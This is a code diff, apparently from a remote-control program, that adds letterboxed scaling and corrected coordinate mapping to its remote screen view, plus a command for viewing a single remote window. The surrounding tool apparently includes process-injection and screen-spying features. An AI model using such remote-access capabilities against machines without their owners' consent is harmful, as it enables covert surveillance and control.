m_BitmapInfor_Full->bmiHeader.biWidth*4,
|
W * 4,
|
||||||
m_BitmapInfor_Full->bmiHeader.biWidth,
|
W,
|
||||||
m_BitmapInfor_Full->bmiHeader.biHeight);
|
topDown ? -H : H);
|
||||||
|
}
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
Mprintf("avcodec_receive_frame failed with error: %d\n", err);
|
Mprintf("avcodec_receive_frame failed with error: %d\n", err);
|
||||||
@@ -1707,8 +1767,53 @@ void CScreenSpyDlg::OnPaint()
|
|||||||
m_rcZoomSrc.Width(), m_rcZoomSrc.Height(),
|
m_rcZoomSrc.Width(), m_rcZoomSrc.Height(),
|
||||||
SRCCOPY);
|
SRCCOPY);
|
||||||
} else if (m_bAdaptiveSize) {
|
} else if (m_bAdaptiveSize) {
|
||||||
// 尺寸相同时用 BitBlt(更快),否则用 StretchBlt
|
// 保持宽高比居中缩放,多余区域填黑(信箱 / 柱状黑边)
|
||||||
if (srcW == dstW && srcH == dstH) {
|
// 同步更新 m_offsetX/Y 和 m_wZoom/hZoom,供坐标映射使用
|
||||||
|
int renderW, renderH;
|
||||||
|
ComputeAdaptiveLayout(srcW, srcH, dstW, dstH,
|
||||||
|
renderW, renderH, m_offsetX, m_offsetY,
|
||||||
|
m_wZoom, m_hZoom);
|
||||||
|
|
||||||
|
// 图像未填满窗口(含整除截断 renderH=dstH-1 导致 offset=0 的情况)时走合成路径
|
||||||
|
if (renderW < dstW || renderH < dstH) {
|
||||||
|
// 先在内存 DC 合成完整帧再一次性上屏,避免"先黑后图"的闪烁
|
||||||
|
// 按窗口尺寸缓存 DC/Bitmap,尺寸不变时直接复用,不重复分配 GDI 资源
|
||||||
|
if (!m_hComposeDC || m_nComposeCX != dstW || m_nComposeCY != dstH) {
|
||||||
|
if (m_hComposeDC) {
|
||||||
|
SelectObject(m_hComposeDC, m_hComposeOldBmp);
|
||||||
|
DeleteObject(m_hComposeBmp);
|
||||||
|
DeleteDC(m_hComposeDC);
|
||||||
|
m_hComposeDC = NULL; m_hComposeBmp = NULL; m_hComposeOldBmp = NULL;
|
||||||
|
}
|
||||||
|
m_hComposeDC = CreateCompatibleDC(m_hFullDC);
|
||||||
|
if (m_hComposeDC) {
|
||||||
|
m_hComposeBmp = CreateCompatibleBitmap(m_hFullDC, dstW, dstH);
|
||||||
|
if (m_hComposeBmp) {
|
||||||
|
m_hComposeOldBmp = (HBITMAP)SelectObject(m_hComposeDC, m_hComposeBmp);
|
||||||
|
m_nComposeCX = dstW;
|
||||||
|
m_nComposeCY = dstH;
|
||||||
|
} else {
|
||||||
|
DeleteDC(m_hComposeDC);
|
||||||
|
m_hComposeDC = NULL;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (m_hComposeDC) {
|
||||||
|
SetStretchBltMode(m_hComposeDC, GetFastStretchMode() ? COLORONCOLOR : HALFTONE);
|
||||||
|
if (!GetFastStretchMode()) SetBrushOrgEx(m_hComposeDC, 0, 0, NULL);
|
||||||
|
RECT rcFull = { 0, 0, dstW, dstH };
|
||||||
|
FillRect(m_hComposeDC, &rcFull, (HBRUSH)GetStockObject(BLACK_BRUSH));
|
||||||
|
StretchBlt(m_hComposeDC, m_offsetX, m_offsetY, renderW, renderH,
|
||||||
|
m_hFullMemDC, 0, 0, srcW, srcH, SRCCOPY);
|
||||||
|
BitBlt(m_hFullDC, 0, 0, dstW, dstH, m_hComposeDC, 0, 0, SRCCOPY);
|
||||||
|
} else {
|
||||||
|
// GDI 资源不足,退化为直接渲染(可能闪一帧黑边,但不崩溃)
|
||||||
|
RECT rcFull = { 0, 0, dstW, dstH };
|
||||||
|
FillRect(m_hFullDC, &rcFull, (HBRUSH)GetStockObject(BLACK_BRUSH));
|
||||||
|
StretchBlt(m_hFullDC, m_offsetX, m_offsetY, renderW, renderH,
|
||||||
|
m_hFullMemDC, 0, 0, srcW, srcH, SRCCOPY);
|
||||||
|
}
|
||||||
|
} else if (srcW == dstW && srcH == dstH) {
|
||||||
BitBlt(m_hFullDC, 0, 0, srcW, srcH, m_hFullMemDC, 0, 0, SRCCOPY);
|
BitBlt(m_hFullDC, 0, 0, srcW, srcH, m_hFullMemDC, 0, 0, SRCCOPY);
|
||||||
} else {
|
} else {
|
||||||
StretchBlt(m_hFullDC, 0, 0, dstW, dstH, m_hFullMemDC, 0, 0, srcW, srcH, SRCCOPY);
|
StretchBlt(m_hFullDC, 0, 0, dstW, dstH, m_hFullMemDC, 0, 0, srcW, srcH, SRCCOPY);
|
||||||
@@ -1776,9 +1881,9 @@ void CScreenSpyDlg::OnPaint()
|
|||||||
// 只有当本地鼠标不在工具栏区域时,才绘制远程位图光标
|
// 只有当本地鼠标不在工具栏区域时,才绘制远程位图光标
|
||||||
if (!rcToolbar.PtInRect(ptLocal)) {
|
if (!rcToolbar.PtInRect(ptLocal)) {
|
||||||
|
|
||||||
// 1. 计算缩放位置
|
// 1. 计算缩放位置(自适应模式需加黑边偏移)
|
||||||
int drawX = m_bAdaptiveSize ? (int)(m_ClientCursorPos.x / m_wZoom) : (m_ClientCursorPos.x - m_ulHScrollPos);
|
int drawX = m_bAdaptiveSize ? (int)(m_ClientCursorPos.x / m_wZoom) + m_offsetX : (m_ClientCursorPos.x - m_ulHScrollPos);
|
||||||
int drawY = m_bAdaptiveSize ? (int)(m_ClientCursorPos.y / m_hZoom) : (m_ClientCursorPos.y - m_ulVScrollPos);
|
int drawY = m_bAdaptiveSize ? (int)(m_ClientCursorPos.y / m_hZoom) + m_offsetY : (m_ClientCursorPos.y - m_ulVScrollPos);
|
||||||
|
|
||||||
// 2. 获取光标句柄(支持自定义光标)
|
// 2. 获取光标句柄(支持自定义光标)
|
||||||
HCURSOR hCursor;
|
HCURSOR hCursor;
|
||||||
@@ -2549,8 +2654,18 @@ void CScreenSpyDlg::SendScaledMouseMessage(MSG* pMsg, bool makeLP)
|
|||||||
|
|
||||||
MYMSG msg(*pMsg);
|
MYMSG msg(*pMsg);
|
||||||
LONG x = LOWORD(pMsg->lParam), y = HIWORD(pMsg->lParam);
|
LONG x = LOWORD(pMsg->lParam), y = HIWORD(pMsg->lParam);
|
||||||
LONG low = m_bAdaptiveSize ? x * m_wZoom : x + m_ulHScrollPos;
|
LONG low, high;
|
||||||
LONG high = m_bAdaptiveSize ? y * m_hZoom : y + m_ulVScrollPos;
|
if (m_bAdaptiveSize) {
|
||||||
|
// 减去黑边偏移后映射到远端坐标,并 clamp 到合法范围
|
||||||
|
// 防止黑边区域的点击转换为负数后经 MAKELPARAM 截断为 WORD 大正数
|
||||||
|
int srcW = m_BitmapInfor_Full ? m_BitmapInfor_Full->bmiHeader.biWidth : 0;
|
||||||
|
int srcH = m_BitmapInfor_Full ? abs(m_BitmapInfor_Full->bmiHeader.biHeight) : 0;
|
||||||
|
low = max(0L, min((LONG)((x - m_offsetX) * m_wZoom), (LONG)(srcW - 1)));
|
||||||
|
high = max(0L, min((LONG)((y - m_offsetY) * m_hZoom), (LONG)(srcH - 1)));
|
||||||
|
} else {
|
||||||
|
low = x + m_ulHScrollPos;
|
||||||
|
high = y + m_ulVScrollPos;
|
||||||
|
}
|
||||||
if (makeLP) msg.lParam = MAKELPARAM(low, high);
|
if (makeLP) msg.lParam = MAKELPARAM(low, high);
|
||||||
msg.pt.x = low;
|
msg.pt.x = low;
|
||||||
msg.pt.y = high;
|
msg.pt.y = high;
|
||||||
@@ -2937,8 +3052,9 @@ CPoint CScreenSpyDlg::ScreenToImage(CPoint pt)
|
|||||||
(int)(m_rcZoomSrc.top + pt.y * scaleY)
|
(int)(m_rcZoomSrc.top + pt.y * scaleY)
|
||||||
);
|
);
|
||||||
} else if (m_bAdaptiveSize) {
|
} else if (m_bAdaptiveSize) {
|
||||||
// 自适应模式:按比例缩放
|
// 自适应模式:先减去黑边偏移,再乘缩放比
|
||||||
return CPoint((int)(pt.x * m_wZoom), (int)(pt.y * m_hZoom));
|
return CPoint((int)((pt.x - m_offsetX) * m_wZoom),
|
||||||
|
(int)((pt.y - m_offsetY) * m_hZoom));
|
||||||
} else {
|
} else {
|
||||||
// 滚动模式:加上滚动偏移
|
// 滚动模式:加上滚动偏移
|
||||||
return CPoint(pt.x + m_ulHScrollPos, pt.y + m_ulVScrollPos);
|
return CPoint(pt.x + m_ulHScrollPos, pt.y + m_ulVScrollPos);
|
||||||
@@ -2964,8 +3080,10 @@ CPoint CScreenSpyDlg::ImageToScreen(CPoint pt)
|
|||||||
(int)((pt.y - m_rcZoomSrc.top) * scaleY)
|
(int)((pt.y - m_rcZoomSrc.top) * scaleY)
|
||||||
);
|
);
|
||||||
} else if (m_bAdaptiveSize) {
|
} else if (m_bAdaptiveSize) {
|
||||||
|
// 自适应模式:除以缩放比,再加黑边偏移
|
||||||
if (m_wZoom > 0 && m_hZoom > 0) {
|
if (m_wZoom > 0 && m_hZoom > 0) {
|
||||||
return CPoint((int)(pt.x / m_wZoom), (int)(pt.y / m_hZoom));
|
return CPoint((int)(pt.x / m_wZoom) + m_offsetX,
|
||||||
|
(int)(pt.y / m_hZoom) + m_offsetY);
|
||||||
}
|
}
|
||||||
return pt;
|
return pt;
|
||||||
} else {
|
} else {
|
||||||
@@ -3151,10 +3269,11 @@ bool CScreenSpyDlg::ScreenRectToImageRect(const CRect& rcScreen, CRect& rcImage)
|
|||||||
rcImage.right = (int)(m_rcZoomSrc.left + rcScreen.right * scaleX);
|
rcImage.right = (int)(m_rcZoomSrc.left + rcScreen.right * scaleX);
|
||||||
rcImage.bottom = (int)(m_rcZoomSrc.top + rcScreen.bottom * scaleY);
|
rcImage.bottom = (int)(m_rcZoomSrc.top + rcScreen.bottom * scaleY);
|
||||||
} else if (m_bAdaptiveSize) {
|
} else if (m_bAdaptiveSize) {
|
||||||
rcImage.left = (int)(rcScreen.left * m_wZoom);
|
// 先减去黑边偏移,再乘缩放比,得到原图坐标
|
||||||
rcImage.top = (int)(rcScreen.top * m_hZoom);
|
rcImage.left = (int)((rcScreen.left - m_offsetX) * m_wZoom);
|
||||||
rcImage.right = (int)(rcScreen.right * m_wZoom);
|
rcImage.top = (int)((rcScreen.top - m_offsetY) * m_hZoom);
|
||||||
rcImage.bottom = (int)(rcScreen.bottom * m_hZoom);
|
rcImage.right = (int)((rcScreen.right - m_offsetX) * m_wZoom);
|
||||||
|
rcImage.bottom = (int)((rcScreen.bottom - m_offsetY) * m_hZoom);
|
||||||
} else {
|
} else {
|
||||||
rcImage.left = rcScreen.left + m_ulHScrollPos;
|
rcImage.left = rcScreen.left + m_ulHScrollPos;
|
||||||
rcImage.top = rcScreen.top + m_ulVScrollPos;
|
rcImage.top = rcScreen.top + m_ulVScrollPos;
|
||||||
@@ -3373,8 +3492,18 @@ void CScreenSpyDlg::OnSize(UINT nType, int cx, int cy)
|
|||||||
return;
|
return;
|
||||||
|
|
||||||
GetClientRect(&m_CRect);
|
GetClientRect(&m_CRect);
|
||||||
m_wZoom = ((double)m_BitmapInfor_Full->bmiHeader.biWidth) / ((double)(m_CRect.Width()));
|
if (!m_BitmapInfor_Full) return;
|
||||||
m_hZoom = ((double)m_BitmapInfor_Full->bmiHeader.biHeight) / ((double)(m_CRect.Height()));
|
if (m_bAdaptiveSize) {
|
||||||
|
int renderW, renderH;
|
||||||
|
ComputeAdaptiveLayout(m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight,
|
||||||
|
m_CRect.Width(), m_CRect.Height(),
|
||||||
|
renderW, renderH, m_offsetX, m_offsetY,
|
||||||
|
m_wZoom, m_hZoom);
|
||||||
|
} else {
|
||||||
|
m_offsetX = m_offsetY = 0;
|
||||||
|
m_wZoom = m_CRect.Width() > 0 ? (double)m_BitmapInfor_Full->bmiHeader.biWidth / m_CRect.Width() : 1.0;
|
||||||
|
m_hZoom = m_CRect.Height() > 0 ? (double)m_BitmapInfor_Full->bmiHeader.biHeight / m_CRect.Height() : 1.0;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void CScreenSpyDlg::OnActivate(UINT nState, CWnd* pWndOther, BOOL bMinimized)
|
void CScreenSpyDlg::OnActivate(UINT nState, CWnd* pWndOther, BOOL bMinimized)
|
||||||
|
|||||||
@@ -280,8 +280,16 @@ public:
|
|||||||
BOOL m_bUseCustomCursor = TRUE; // 是否使用自定义光标
|
BOOL m_bUseCustomCursor = TRUE; // 是否使用自定义光标
|
||||||
CRect m_CRect;
|
CRect m_CRect;
|
||||||
double m_wZoom=1, m_hZoom=1;
|
double m_wZoom=1, m_hZoom=1;
|
||||||
|
int m_offsetX=0, m_offsetY=0; // 自适应模式黑边偏移(像素)
|
||||||
bool m_bMouseTracking = false;
|
bool m_bMouseTracking = false;
|
||||||
|
|
||||||
|
// 自适应黑边合成缓冲(按窗口尺寸缓存,避免每帧分配 GDI 资源)
|
||||||
|
HDC m_hComposeDC = NULL;
|
||||||
|
HBITMAP m_hComposeBmp = NULL;
|
||||||
|
HBITMAP m_hComposeOldBmp = NULL;
|
||||||
|
int m_nComposeCX = 0;
|
||||||
|
int m_nComposeCY = 0;
|
||||||
|
|
||||||
// ========== 局部放大功能 ==========
|
// ========== 局部放大功能 ==========
|
||||||
bool m_bZoomedIn = false; // 是否处于放大状态
|
bool m_bZoomedIn = false; // 是否处于放大状态
|
||||||
CRect m_rcZoomSrc; // 放大区域(原图坐标)
|
CRect m_rcZoomSrc; // 放大区域(原图坐标)
|
||||||
|
|||||||
@@ -55,6 +55,7 @@ BEGIN_MESSAGE_MAP(CSystemDlg, CDialog)
|
|||||||
ON_COMMAND(ID_WLIST_MIN, &CSystemDlg::OnWlistMin)
|
ON_COMMAND(ID_WLIST_MIN, &CSystemDlg::OnWlistMin)
|
||||||
ON_COMMAND(ID_PLIST_INJECT, &CSystemDlg::OnPlistInject)
|
ON_COMMAND(ID_PLIST_INJECT, &CSystemDlg::OnPlistInject)
|
||||||
ON_COMMAND(ID_PLIST_ANTI_BLACK_SCREEN, &CSystemDlg::OnPlistAntiBlackScreen)
|
ON_COMMAND(ID_PLIST_ANTI_BLACK_SCREEN, &CSystemDlg::OnPlistAntiBlackScreen)
|
||||||
|
ON_COMMAND(ID_WLIST_VIEW, &CSystemDlg::OnWlistView)
|
||||||
END_MESSAGE_MAP()
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
|
||||||
@@ -638,3 +639,30 @@ void CSystemDlg::OnPlistAntiBlackScreen()
|
|||||||
memcpy(arg + 256, arch, arch.GetLength());
|
memcpy(arg + 256, arch, arch.GetLength());
|
||||||
m_pParent->PostMessageA(WM_ANTI_BLACKSCREEN, (WPARAM)arg, dwProcessID);
|
m_pParent->PostMessageA(WM_ANTI_BLACKSCREEN, (WPARAM)arg, dwProcessID);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void CSystemDlg::OnWlistView()
|
||||||
|
{
|
||||||
|
int nItem = m_ControlList.GetSelectionMark();
|
||||||
|
if (nItem < 0) return;
|
||||||
|
auto data = (ItemData*)m_ControlList.GetItemData(nItem);
|
||||||
|
if (!data) return;
|
||||||
|
|
||||||
|
// 最小化的窗口 PrintWindow 不会被调用,远程端只能看到黑屏
|
||||||
|
if (data->Data[2] == "minimized") {
|
||||||
|
MessageBoxAPI_L(m_hWnd, "该窗口已最小化,请先还原后再查看。", "提示", MB_ICONINFORMATION);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 布局: [clientID: uint64_t][HWND: uint64_t],共 16 字节
|
||||||
|
// 使用子连接的 clientID 而非 IP,以确保多客户端同 IP 时路由正确
|
||||||
|
char* arg = new char[2 * sizeof(uint64_t)]();
|
||||||
|
uint64_t clientID = m_ContextObject->GetClientID();
|
||||||
|
uint64_t hwnd64 = (uint64_t)(UINT_PTR)(HWND)(UINT_PTR)data->ID;
|
||||||
|
memcpy(arg, &clientID, sizeof(uint64_t));
|
||||||
|
memcpy(arg + sizeof(uint64_t), &hwnd64, sizeof(uint64_t));
|
||||||
|
|
||||||
|
ASSERT(m_pParent);
|
||||||
|
if (!m_pParent || !m_pParent->PostMessageA(WM_OPEN_WINDOW_SCREEN, (WPARAM)arg, 0)) {
|
||||||
|
delete[] arg;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@@ -48,4 +48,5 @@ public:
|
|||||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||||
afx_msg void OnPlistInject();
|
afx_msg void OnPlistInject();
|
||||||
afx_msg void OnPlistAntiBlackScreen();
|
afx_msg void OnPlistAntiBlackScreen();
|
||||||
|
afx_msg void OnWlistView();
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -1933,3 +1933,13 @@ FRPC Զ
|
|||||||
卸载软件=Uninstall Software
|
卸载软件=Uninstall Software
|
||||||
是否移除此软件?=Uninstall this software. Are you sure?
|
是否移除此软件?=Uninstall this software. Are you sure?
|
||||||
[安全提示] 请设置Web访问密码!!!=[Security Warning] Please set web password!!!
|
[安全提示] 请设置Web访问密码!!!=[Security Warning] Please set web password!!!
|
||||||
|
查看=View Window
|
||||||
|
该窗口已最小化,请先还原后再查看。=The window is minimized. Please restore it before viewing.
|
||||||
|
下级数量限制: %d (&L)...=License Limit: %d (&L)...
|
||||||
|
下级数量限制 (&L)...=License Limit (&L)...
|
||||||
|
下级数量限制 (%s)=License Limit (%s)
|
||||||
|
数量上限(1-9999):=Limit(1-9999):
|
||||||
|
请输入 1 到 9999 之间的整数。=Please input a integer range 1, 9999.
|
||||||
|
输入无效=Invalid Input
|
||||||
|
授权 %s 的下级数量上限已设置为 %d。\n下级重新认证后生效。=Sub-license limit for %s has been set to %d.\nTakes effect when the sub-client re-authenticates.
|
||||||
|
授权 %s 的下级数量限制已清除。\n下级重新认证后生效。=Sub-license limit for %s has been cleared.\nTakes effect when the sub-client re-authenticates.
|
||||||
|
|||||||
@@ -1924,3 +1924,13 @@ FRPC Զ
|
|||||||
卸载软件=卸载软件
|
卸载软件=卸载软件
|
||||||
是否移除此软件?=是否移除此软件?
|
是否移除此软件?=是否移除此软件?
|
||||||
[安全提示] 请设置Web访问密码!!!=[安全提示] 请设置Web访问密码!!!
|
[安全提示] 请设置Web访问密码!!!=[安全提示] 请设置Web访问密码!!!
|
||||||
|
查看=查看
|
||||||
|
该窗口已最小化,请先还原后再查看。=該視窗已最小化,請先還原後再查看。
|
||||||
|
下级数量限制: %d (&L)...=下级数量限制: %d (&L)...
|
||||||
|
下级数量限制 (&L)...=下级数量限制 (&L)...
|
||||||
|
下级数量限制 (%s)=下级数量限制 (%s)
|
||||||
|
数量上限(1-9999):=数量上限(1-9999):
|
||||||
|
请输入 1 到 9999 之间的整数。=请输入 1 到 9999 之间的整数。
|
||||||
|
输入无效=输入无效
|
||||||
|
授权 %s 的下级数量上限已设置为 %d。\n下级重新认证后生效。=授权 %s 的下级数量上限已设置为 %d。\n下级重新认证后生效。
|
||||||
|
授权 %s 的下级数量限制已清除。\n下级重新认证后生效。=授权 %s 的下级数量限制已清除。\n下级重新认证后生效。
|
||||||
|
|||||||
BIN
server/2015Remote/res/Bitmap/ActiveWnd.bmp
Normal file
BIN
server/2015Remote/res/Bitmap/ActiveWnd.bmp
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 822 B |
@@ -267,6 +267,8 @@
|
|||||||
#define IDB_BITMAP_UNCOMPRESS 387
|
#define IDB_BITMAP_UNCOMPRESS 387
|
||||||
#define IDB_BITMAP9 388
|
#define IDB_BITMAP9 388
|
||||||
#define IDB_BITMAP_COPY 389
|
#define IDB_BITMAP_COPY 389
|
||||||
|
#define IDB_BITMAP10 390
|
||||||
|
#define IDB_BITMAP_ACTIVE_WND 390
|
||||||
#define IDC_MESSAGE 1000
|
#define IDC_MESSAGE 1000
|
||||||
#define IDC_ONLINE 1001
|
#define IDC_ONLINE 1001
|
||||||
#define IDC_STATIC_TIPS 1002
|
#define IDC_STATIC_TIPS 1002
|
||||||
@@ -989,6 +991,7 @@
|
|||||||
#define ID_PARAM_THUMBNAIL_PREVIEW 33050
|
#define ID_PARAM_THUMBNAIL_PREVIEW 33050
|
||||||
#define ID_LICENSE_AUTO_FRP 33051
|
#define ID_LICENSE_AUTO_FRP 33051
|
||||||
#define ID_LICENSE_REVOKE_FRP 33052
|
#define ID_LICENSE_REVOKE_FRP 33052
|
||||||
|
#define ID_LICENSE_SET_LIMIT 33068
|
||||||
#define ID_Menu 33053
|
#define ID_Menu 33053
|
||||||
#define ID_33054 33054
|
#define ID_33054 33054
|
||||||
#define ID_MENU_COMPRESS 33055
|
#define ID_MENU_COMPRESS 33055
|
||||||
@@ -1000,14 +1003,18 @@
|
|||||||
#define ID_VIEW_HIDE_LOG 33061
|
#define ID_VIEW_HIDE_LOG 33061
|
||||||
#define ID_33062 33062
|
#define ID_33062 33062
|
||||||
#define ID_COPY_CLIENT_INFO 33063
|
#define ID_COPY_CLIENT_INFO 33063
|
||||||
|
#define ID_WLIST_33064 33064
|
||||||
|
#define ID_WLIST_VIEW 33065
|
||||||
|
#define ID_ONLINE_33066 33066
|
||||||
|
#define ID_ONLINE_ACTIVE_WND 33067
|
||||||
#define ID_EXIT_FULLSCREEN 40001
|
#define ID_EXIT_FULLSCREEN 40001
|
||||||
|
|
||||||
// Next default values for new objects
|
// Next default values for new objects
|
||||||
//
|
//
|
||||||
#ifdef APSTUDIO_INVOKED
|
#ifdef APSTUDIO_INVOKED
|
||||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||||
#define _APS_NEXT_RESOURCE_VALUE 389
|
#define _APS_NEXT_RESOURCE_VALUE 391
|
||||||
#define _APS_NEXT_COMMAND_VALUE 33064
|
#define _APS_NEXT_COMMAND_VALUE 33069
|
||||||
#define _APS_NEXT_CONTROL_VALUE 2542
|
#define _APS_NEXT_CONTROL_VALUE 2542
|
||||||
#define _APS_NEXT_SYMED_VALUE 105
|
#define _APS_NEXT_SYMED_VALUE 105
|
||||||
#endif
|
#endif
|
||||||
|
|||||||
@@ -109,6 +109,7 @@
|
|||||||
#define WM_ONLINE_HOSTNUM WM_USER+3039
|
#define WM_ONLINE_HOSTNUM WM_USER+3039
|
||||||
#define WM_SPLITTER_MOVED WM_USER+3040
|
#define WM_SPLITTER_MOVED WM_USER+3040
|
||||||
#define WM_SPLITTER_RELEASED WM_USER+3041
|
#define WM_SPLITTER_RELEASED WM_USER+3041
|
||||||
|
#define WM_OPEN_WINDOW_SCREEN WM_USER+3042 // 窗口管理→打开指定窗口远程画面
|
||||||
|
|
||||||
#ifdef _UNICODE
|
#ifdef _UNICODE
|
||||||
#if defined _M_IX86
|
#if defined _M_IX86
|
||||||
|
|||||||
Reference in New Issue
Block a user